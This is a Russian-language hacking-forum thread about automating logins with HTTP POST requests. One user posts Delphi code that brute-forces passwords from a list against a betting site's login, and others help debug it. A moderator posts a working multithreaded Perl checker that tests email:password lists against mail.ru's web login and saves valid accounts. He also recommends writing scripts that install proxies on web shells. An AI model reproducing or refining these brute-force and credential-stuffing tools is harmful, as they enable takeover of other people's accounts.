А вы знаете как?

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Tip.the.besT, 24 Apr 2011.

  1. Tip.the.besT

    Tip.the.besT Member

    Joined:
    24 Jun 2009
    Messages:
    267
    Likes Received:
    10
    Reputations:
    4
    Как аторизироваться на http://www.rubet.com/ get запосом? Как он будет выглядеть, и конечно же как вы его нашли?
    А может это вообще невозможно?
     
  2. solo

    solo New Member

    Joined:
    16 Apr 2011
    Messages:
    27
    Likes Received:
    0
    Reputations:
    0
    не знаю как в данной ситуации сформировать Get запрос, но стареньким способом через webbrowser (input'ы) вполне реально
     
  3. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    Да знаю, как авторизироваться. Проанализировал JS, потом для проверки прошелся Tamper Data плагином к FF
     
    _________________________
    1 person likes this.
  4. Nesar

    Nesar New Member

    Joined:
    20 Apr 2011
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Gar|k +1 Тампером посмотри запросы
     
  5. Tip.the.besT

    Tip.the.besT Member

    Joined:
    24 Jun 2009
    Messages:
    267
    Likes Received:
    10
    Reputations:
    4
    А может хоть пример напишите как методом ПОСТ передать логин и пароль?
     
  6. remedy

    remedy New Member

    Joined:
    25 Apr 2011
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    Ну возьми в руки снифер да и посмотри.
    Пост запрос на http://www.rubet.com/pagemethods.aspx/Login
    PHP:
    PostData.Add('__userName=' username);
    PostData.Add('password='  password);
    IdHTTP.Post('http://www.rubet.com/pagemethods.aspx/Login'PostData);
     
    1 person likes this.
  7. Tip.the.besT

    Tip.the.besT Member

    Joined:
    24 Jun 2009
    Messages:
    267
    Likes Received:
    10
    Reputations:
    4
    Парни всем спасибо, авторизировался методом пост описанымвыше.

    Если интересно просто вывел ответ на запрос в мемо и нашёл слово выход, которого нету если не авторизироваться) Вот такие дела.
     
  8. sidapas23

    sidapas23 New Member

    Joined:
    13 Nov 2010
    Messages:
    88
    Likes Received:
    2
    Reputations:
    -3
    А скажите как с помощью пост запроса нажать на ссылку на сайте?
     
  9. ErrorNeo

    ErrorNeo Elder - Старейшина

    Joined:
    2 May 2009
    Messages:
    923
    Likes Received:
    838
    Reputations:
    402
    запустить тампер дата (а лучше какой полноценный снифер), нажать на ссылку и посмотреть запрос.

    Повторив это действие ты сможешь нажать на ссылку еще раз. Ещё много, много раз.

    Хотя обычно ссылки "нажимают" гетом :-D
     
  10. Tip.the.besT

    Tip.the.besT Member

    Joined:
    24 Jun 2009
    Messages:
    267
    Likes Received:
    10
    Reputations:
    4
    Вот весь код. Почему не работает?

    Code:
    unit Unit1;
    
    interface
    
    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection,
      IdTCPClient, IdHTTP, ExtCtrls;
    
    type
      TForm1 = class(TForm)
        Memo1: TMemo;
        IdHTTP1: TIdHTTP;
        Button1: TButton;
        Edit1: TEdit;
        Edit2: TEdit;
        Memo2: TMemo;
        Label1: TLabel;
        Timer1: TTimer;
        procedure Button1Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;
    
    var
      Form1: TForm1;
    
    implementation
    
    {$R *.dfm}
    
    procedure TForm1.Button1Click(Sender: TObject);
    var
    DATA: TStringList;
    good:integer;
    i:integer;
    s:string;
    begin
    i:=0;
    good:=0;
    
    while good=0  do
    begin
    memo1.clear;
    data:=TStringList.Create;
    data.add('login='+edit1.text);
    data.add('pwd='+memo2.Lines[i]);
    memo1.Text:=IdHTTP1.Post('http://www.betcity.ru/top.php', data);
    
    
    
    if pos('блабла',memo1.Text)<>0 then begin
    good:=good+1;
    Edit2.Text := memo2.Lines[i];
    label1.Visible:=true;
    end;
    
    i:=i+1;
    IdHTTP1.Disconnect;
    data.Free;
    end;end;
    end.
     
  11. remedy

    remedy New Member

    Joined:
    25 Apr 2011
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    Не все параметры отправляешь. Это как вариант, почему не работает.
    Там передаются еще поля x и y
     
  12. Tip.the.besT

    Tip.the.besT Member

    Joined:
    24 Jun 2009
    Messages:
    267
    Likes Received:
    10
    Reputations:
    4
    Да нет авторизацию я успешно прохожу. Мне кажется проблема в том, что в мемо не успевает прогрузится текст и соответственно pos('блабла',memo1.Text)<>0 не выполняется должным образом. Да и кстати кто может сказать что нужно добавить, что бы програма была активна?
    Есть какие-нибудь мысле по решению этой проблемы?
     
  13. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    Tip.the.besT учи язык. В делфе есть спецовая функция, чтобы "не зависало", а по хорошему делать надо грамотно.

    мое ИМХО - делфи, язык не для написания парсеров хремамсеров и прочей дребедени, которую ВЫ (основная масса ачата) пишете :)

    юзай PERL - язык специально разрабатывался для форматирования текстовых данных, а потом разросся в огого.

    В 15 строк бы у меня уместилась бы вся твоя программа, без всяких ухищрений с красивым оформлением кода.
     
    _________________________
    1 person likes this.
  14. solo

    solo New Member

    Joined:
    16 Apr 2011
    Messages:
    27
    Likes Received:
    0
    Reputations:
    0
    ну так покажи пример на своём Perl... к примеру всем уже известную и поднадоевшую авторизацию вконтакте... и что бы с красивым дизайном
     
  15. Gar|k

    Gar|k Moderator

    Joined:
    20 Mar 2009
    Messages:
    1,166
    Likes Received:
    266
    Reputations:
    82
    2 solo. Вконтактег меня не интересует.
    Выдернуто из одного скриптика, в итоге получилась многопоточная (тут все срут кирпичами от этого слова хех) проверка валидности аккаунтов mail.ru через веб интерфейс.

    Code:
    #!/usr/bin/perl
    # (c)oded by Gar|k
    # usage perl script.pl mails_file(format [email protected]:password) out_file num_threads
    use LWP::UserAgent;
    use HTTP::Cookies;
    use HTTP::Request::Common;
    use HTML::Entities;
    use threads;
    use threads::shared;
    
    
    my $ua = LWP::UserAgent->new;
    $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19");
    my $cookie_jar = HTTP::Cookies->new();
    $ua->cookie_jar($cookie_jar);
    
    my @bas : shared;
    my @threads;
    
    open(BASE, $ARGV[0]); 
    chomp(@bas = <base>);
    close(BASE);
    
    sub authorization {
    	my ($login, $domain, $pass) = @_;
    
    	$cookie_jar->clear();
    
    	my $ex = $ua->request(POST '[url]http://win.mail.ru/cgi-bin/auth',[/url] ['Login' => $login, 'Domain' => $domain, 'Password' => $pass]);
    	if ($ex->headers_as_string() =~/Set-Cookie: Mpop=/) {
    		return 1;
    	     }
    	return 0;
         }
    
    sub check_base {
    	my ($i) = @_;
    	while(my $acc = shift(@bas)) {
    		print 'Thread #'.$i.': '.$acc.' ';
    		my ($login, $domain, $pass) = $acc =~ /^(.+?)@(.+?):(.+?)$/;
    
    		if (authorization($login,$domain,$pass)) { 
    			print "+OK\n";
    			open(OUT, ">> ".$ARGV[1]);
    			print OUT $1.":".$pass."\n";
    			close(OUT);
    		} else { print "-ERR\n"; }
    	}
    }
    
    for my $i (1..$ARGV[2]) {
    	push @threads, threads->create(\&check_base, $i);
    	}
    
    foreach my $thread (@threads) { $thread->join(); }
    З.Ы: по коду $ua должен быть для каждого потока свой, лень переделывать.
    Скрипт автоматической загрузки и установки проксей на веб шелл, 60 строк :) - вот что нужно писать.
    Да хотя бы активный сниффер полезнее чем чекер текстового прокола, который можно на коленке за 10 минут написать. Про бинарные не спорю, скорость формирования пакета и различные сетевые премудрости особенно unix систем дают ощутимый пирост....
    Но дефли все равно не тот язык ) Для сравнения.
    Для одного чела я переделывал делфи вариант чекера steam аккаунтов по протоколу steam. Так вот мой вариант на Си проверяет аккаунт меньше чем за 3 секунды. Вариант на делфи тратит > 30 секунд на один акк... а почему вопрос? а потому что данный (я думаю многие) делфи писатель, не знает что такое сетевое программирование, не представляет, как работает система и как грамотно распараллелить процесс.
    При этом и он и я использовали офф dll клиента steam.

    З.Ы.Ы: вопрос. зачем чекеру интерфейс? ведь тут важен лишь результат. (это я типа осуждаю клепателей диалогов и тех людей, кто не за терминал хехе)
     
    _________________________
    #15 Gar|k, 26 Apr 2011
    Last edited: 27 Apr 2011
  16. solo

    solo New Member

    Joined:
    16 Apr 2011
    Messages:
    27
    Likes Received:
    0
    Reputations:
    0
    думаю это не в блокноте всё пишется) какая нужна программа? ссылку если можно...
    и что вы тогда можете сказать о Visual C++
     
  17. patcher

    patcher Banned

    Joined:
    15 Dec 2009
    Messages:
    190
    Likes Received:
    37
    Reputations:
    10
    ИМХО, ты жестко ошибаешся :) на Делфи можно писать много чего и в том числе парсеры и "хремамсеры" :) главное не копипастить втупую код, как делают большинство здешних, а разобратся самому что и к чему ;) я согласен, что если код скопипастен и в нем нихрена не понимаешь, то это будет не программа, а хз что. но точно так же получается и с другими ЯП) так что не нужно гнать на Дельфу ;)
     
  18. GhostOnline

    GhostOnline Active Member

    Joined:
    20 Dec 2008
    Messages:
    723
    Likes Received:
    110
    Reputations:
    22
    Подозреваю что оно не выдержит работу в одновременно 500-1000 коннектов. Да и ГУИ удобнее. Зайди в раздел продаж, там в софте столько настроек, что через консоль зае*ешься указывать параметры.
    А дельфи:
    1. Позволяет клепать формочки.
    2. Компилируется в нативный код, что хорошо сказывается на производительности.
    3. Под делфи много библиотек, в том числе и с открытым исходным кодом.
    4. Поддерживает и процедурный и объектный подход, что позволяет структурировать программы как угодно программисту.
    5. "Строгий компилятор", в т.ч. преславутая паскалевская типизация уменьшает количество точек обстрела собственных ног.
    6. Работа с текстом, и регулярки - все это есть. Одних реализаций регулярок которые можно использовать в дельфи я знаю как минимум три.
    Минусов у дельфи больше чем плюсов, но это уже другая история.
     
  19. Tip.the.besT

    Tip.the.besT Member

    Joined:
    24 Jun 2009
    Messages:
    267
    Likes Received:
    10
    Reputations:
    4
    Чё то я так помощи и не дождался. Я уже пытался и в переменную загонять ответ потом слип ставил, и опять в мемо выводил. Толку ноль...
     
  20. GhostOnline

    GhostOnline Active Member

    Joined:
    20 Dec 2008
    Messages:
    723
    Likes Received:
    110
    Reputations:
    22
    А зачем проверять именно по тексту в мемо?
    response := IdHttp1.Post(...);
    if Pos(..., response) > 0 then ...
    так сразу станет ясно, есть ли там нужный текст или нет
    + научись использовать отладчик

    Чтобы была активна во время запроса - помести IdAntiFreeze на форму